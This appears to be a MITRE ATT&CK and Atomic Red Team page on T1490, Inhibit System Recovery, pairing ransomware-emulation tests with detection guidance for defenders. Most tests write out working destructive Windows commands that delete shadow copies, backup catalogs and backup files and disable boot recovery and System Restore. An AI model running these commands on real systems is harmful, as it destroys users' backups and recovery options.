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T1490 - Inhibit System Recovery

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T1490 - Inhibit System Recovery#

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

  • vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet

  • Windows Management Instrumentation can be used to delete volume shadow copies - wmic shadowcopy delete

  • wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet

  • bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

  • REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system

On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

Atomic Tests#

Atomic Test #1 - Windows - Delete Volume Shadow Copies#

Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution, if no shadow volumes exist the message “No items found that satisfy the query.” will be displayed. If shadow volumes are present, it will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)

Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Create volume shadow copy of C:\ . This prereq command only works on Windows Server or Windows 8.#
Check Prereq Commands:#
if(!(vssadmin.exe list shadows | findstr "No items found that satisfy the query.")) { exit 0 } else { exit 1 }
Get Prereq Commands:#
vssadmin.exe create shadow /for=c:


Invoke-AtomicTest T1490 -TestNumbers 1 -GetPreReqs

Attack Commands: Run with command_prompt#

vssadmin.exe delete shadows /all /quiet

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Atomic Test #2 - Windows - Delete Volume Shadow Copies via WMIDeletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.#

Shadow copies can only be created on Windows server or Windows 8. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

wmic.exe shadowcopy delete

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Atomic Test #3 - Windows - wbadmin Delete Windows Backup CatalogDeletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,#

“The backup catalog has been successfully deleted.” will be displayed in the PowerShell session. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

wbadmin delete catalog -quiet

Invoke-AtomicTest T1490 -TestNumbers 3

Atomic Test #4 - Windows - Disable Windows Recovery Console RepairDisables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.#

Upon execution, “The operation completed successfully.” will be displayed in the powershell session. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
bcdedit.exe /set {default} recoveryenabled no

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Cleanup:#

bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1

Invoke-AtomicTest T1490 -TestNumbers 4 -Cleanup

Atomic Test #5 - Windows - Delete Volume Shadow Copies via WMI with PowerShellDeletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.#

This technique is used by numerous ransomware families such as Sodinokibi/REvil. Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution there may be no output displayed. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

Invoke-AtomicTest T1490 -TestNumbers 5

Atomic Test #6 - Windows - Delete Backup FilesDeletes backup files in a manner similar to Ryuk ransomware. Upon exection, many “access is denied” messages will appear as the commands try#

to delete files from around the system. Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk

Invoke-AtomicTest T1490 -TestNumbers 6

Atomic Test #7 - Windows - wbadmin Delete systemstatebackupDeletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

wbadmin delete systemstatebackup -keepVersions:0

Invoke-AtomicTest T1490 -TestNumbers 7

Atomic Test #8 - Windows - Disable the SR scheduled taskUse schtasks.exe to disable the System Restore (SR) scheduled task#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable

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Cleanup:#

schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /enable >nul 2>&1

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Atomic Test #9 - Disable System Restore Through RegistryModify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer.#

See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f

Invoke-AtomicTest T1490 -TestNumbers 9

Cleanup:#

reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1

Invoke-AtomicTest T1490 -TestNumbers 9 -Cleanup

Atomic Test #10 - Windows - vssadmin Resize Shadowstorage VolumeAdversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.Supported Platforms: windows#

Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%```

Invoke-AtomicTest T1490 -TestNumbers 10

Detection#

Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit and REAgentC. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.

Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).

For network infrastructure devices, collect AAA logging to monitor for erase, format, and reload commands being run in succession.

Shield Active Defense#

System Activity Monitoring#

Collect system activity logs which can reveal adversary activity.

Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.

Opportunity#

There is an opportunity to create a detection with a moderately high probability of success.

Use Case#

A defender can use process monitoring to look for command execution and command line parameters commonly used to inhibit system recovery.

Procedures#

Ensure that systems capture and retain common system level activity artifacts that might be produced. Monitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.

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